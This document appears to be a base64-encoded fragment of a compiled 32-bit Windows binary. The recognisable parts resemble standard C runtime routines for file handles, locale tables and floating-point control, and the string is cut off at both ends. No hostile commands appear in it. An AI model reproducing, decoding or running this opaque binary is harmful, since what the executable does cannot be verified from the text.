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Av4jYYQAQAAUGpMU41F9GoCUOhWYQAAC/iNhhQBAABQak1TjUX0agJQ6D9hAACDxFAL+I2GGAEAAFBqTlONRfRqAlDoJWEAAAv4jYYcAQAAUGpPU2oCjUX0UOgOYQAAC/iNhiABAABQajhTjUX0agJQ6PdgAAAL+I2GJAEAAFBqOVONRfRqAlDo4GAAAIPEUAv4jYYoAQAAUGo6U41F9GoCUOjGYAAAC/iNhiwBAABQajtTjUX0agJQ6K9gAAAL+I2GMAEAAFBqPFONRfRqAlDomGAAAAv4jYY0AQAAUGo9U41F9GoCUOiBYAAAg8RQC/iNhjgBAABQaj5TjUX0agJQ6GdgAAAL+I2GPAEAAFBqP1ONRfRqAlDoUGAAAAv4jYZAAQAAUGpAU41F9GoCUOg5YAAAC/iNhkQBAABQakFTjUX0agJQ6CJgAACDxFAL+I2GSAEAAFBqQlONRfRqAlDoCGAAAAv4jYZMAQAAUGpDU41F9GoCUOjxXwAAC/iNhlABAABQaihTjUX0agJQ6NpfAAAL+I2GVAEAAFBqKVNqAluNRfRTUOjBXwAAg8RQC/iNhlgBAABQah//dfyNRfRTUOimXwAAC/iNhlwBAABQaiD/dfyNRfRTUOiOXwAAgcZgAQAAVmgDEAAA/3X8C/iNRfRTUOhzXwAAg8Q8C8dfXlvJw4v/VYvsVot1CIX2D4RjAwAA/3YE6KhX////dgjooFf///92DOiYV////3YQ6JBX////dhToiFf///92GOiAV////zboeVf///92IOhxV////3Yk6GlX////dijoYVf///92LOhZV////3Yw6FFX////djToSVf///92HOhBV////3Y46DlX////djzoMVf//4PEQP92QOgmV////3ZE6B5X////dkjoFlf///92TOgOV////3ZQ6AZX////dlTo/lb///92WOj2Vv///3Zc6O5W////dmDo5lb///92ZOjeVv///3Zo6NZW////dmzozlb///92cOjGVv///3Z06L5W////dnjotlb///92fOiuVv//g8RA/7aAAAAA6KBW////toQAAADolVb///+2iAAAAOiKVv///7aMAAAA6H9W////tpAAAADodFb///+2lAAAAOhpVv///7aYAAAA6F5W////tpwAAADoU1b///+2oAAAAOhIVv///7akAAAA6D1W////tqgAAADoMlb///+2vAAAAOgnVv///7bAAAAA6BxW////tsQAAADoEVb///+2yAAAAOgGVv///7bMAAAA6PtV//+DxED/ttAAAADo7VX///+2uAAAAOjiVf///7bYAAAA6NdV////ttwAAADozFX///+24AAAAOjBVf///7bkAAAA6LZV////tugAAADoq1X///+27AAAAOigVf///7bUAAAA6JVV////tvAAAADoilX///+29AAAAOh/Vf///7b4AAAA6HRV////tvwAAADoaVX///+2AAEAAOheVf///7YEAQAA6FNV////tggBAADoSFX//4PEQP+2DAEAAOg6Vf///7YQAQAA6C9V////thQBAADoJFX///+2GAEAAOgZVf///7